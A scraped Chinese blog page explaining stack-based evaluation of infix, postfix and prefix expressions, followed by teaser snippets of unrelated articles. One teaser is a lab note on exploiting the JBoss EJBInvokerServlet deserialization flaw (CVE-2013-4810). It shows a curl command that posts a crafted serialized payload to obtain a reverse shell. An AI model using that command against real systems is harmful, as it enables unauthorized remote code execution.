栈的应用之表达式求值(前缀、中缀、后缀)

devtools/2024/9/24 2:41:15/

目录

引入

1.中缀表达式的求值(两种方式)

方式一:使用两个栈直接求值

方式二:将其转换为后缀表达式求值

①转换:

②对后缀表达式求值:

2.后缀表达式的求值(1个栈,存放运算符)

3.前缀表达式的求值(1个栈用来存放数字,相对来讲没那么重要)


引入

1.中缀表达式的求值(两种方式)

方式一:使用两个栈直接求值

  • 两个栈:运算对象(即运算数字)OPND和运算符OPTR
  • 从左至右扫描表达式,直至表达式结束:
    • 运算符与栈OPTR的栈顶元素比较优先级:
      • 高:入栈OPTR
      • 低或相等(不大于):运算对象OPND出栈顶两个元素,运算符OPTR出栈顶元素,进行运算(是次栈顶元素加减乘除栈顶元素!!!不要弄反了,运算结果入栈OPND(运算对象),直到当前运算符优先级高于栈顶元素
    • 运算对象:入栈OPND(运算对象)
  • 当运算对象OPND只剩一个时,栈顶元素为运算结果

注意:左括号在栈外时认为其优先级最高;在栈内时认为其优先级最低。右括号在栈外认为其优先级最低。直到右括号与栈顶左括号优先级相等,左括号出栈。

过程演示:

①此时右括号准备入栈,但优先级最小,所以+号和4、2要出栈,进行运算。

4+2而不是2+4.


http://www.ppmy.cn/devtools/116280.html

相关文章

JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

开启环境 访问http://172.16.1.183:8080/invoker/EJBInvokerServlet下载下来了说明漏洞存在 利用生成的.ser文件,通过POST 二进制数据上去,反向连接shell curl http://192.168.10.154:8080/invoker/EJBInvokerServlet --data-binary ReverseShellCommon…

算法之搜索--最长公共子序列LCS

最长公共子序列&#xff08;longest common sequence&#xff09;:可以不连续 最长公共子串&#xff08;longest common substring&#xff09;&#xff1a;连续 demo for (int i 1;i<lena;i){for (int j 1;j<lenb;j){if(a[i-1]b[j-1]){dp[i][j]dp[i-1][j-1]1;}el…

Flink 与 Kubernetes (K8s)、YARN 和 Mesos集成对比

Flink 与 Kubernetes (K8s)、YARN 和 Mesos 的紧密集成&#xff0c;是 Flink 能够在不同分布式环境中高效运行的关键特性。 Flink 提供了与这些资源管理系统的深度集成&#xff0c;以便在多种集群管理环境下提交、运行和管理 Flink 作业。Flink 与 K8s、YARN 和 Mesos 集成的详…

基于FPGA+GPU异构平台的遥感图像切片解决方案

随着遥感和成像技术的不断进步和普及&#xff0c;获取大量高分辨率的遥感图像已成为可能。这些大规模的遥感图像数据需要进行有效的处理和分析&#xff0c;以提取有用的信息&#xff0c;进行进一步的应用。遥感图像切片技术应运而生&#xff0c;该技术可以将大型遥感图像分割成…

操作系统 | 学习笔记 | | 王道 | 5.3 磁盘和固态硬盘

5.3 磁盘和固态硬盘 5.3.1 磁盘 磁盘结构 磁盘&#xff1a;磁盘的表面由一些磁性物质组成&#xff0c;可以用这些磁性物质来记录二进制数据 磁道&#xff1a;磁盘的盘面被划分成一个个磁道。这样的一个“圈”就是一个磁道 扇区&#xff1a;一个磁道又被划分成一个个扇区&am…

.Net网络通信组件 - TouchSocket

文章目录 .Net网络通信组件 - TouchSocket1、新建.Net8控制台项目2、Nuget安装TouchSocket组件3、编写服务端代码4、编写客户端代码5、编写Program代码6、运行效果7、日志组件&#xff08;NLog&#xff09;参考我的另一篇博客 .Net网络通信组件 - TouchSocket 1、新建.Net8控制…

Qt 学习第十天:小项目:QListWidget的使用

一、页面布局 二、命名按钮 双击按钮可以修改显示中的文字&#xff08;例如&#xff1a;改成“全选”&#xff09;&#xff0c;objectName是要改成程序员所熟悉的名字&#xff08;英文&#xff0c;符合代码规范&#xff09;方便修改和书写代码&#xff0c;一看就能看懂的 三、…

linux-系统备份与恢复-备份工具

Linux 系统备份与恢复&#xff1a;备份工具 备份和恢复是 Linux 系统管理中的关键任务之一。有效的备份策略可以在数据丢失、系统崩溃或硬件故障时&#xff0c;帮助管理员快速恢复系统&#xff0c;避免数据丢失带来的严重后果。Linux 提供了多种备份工具&#xff0c;支持不同的…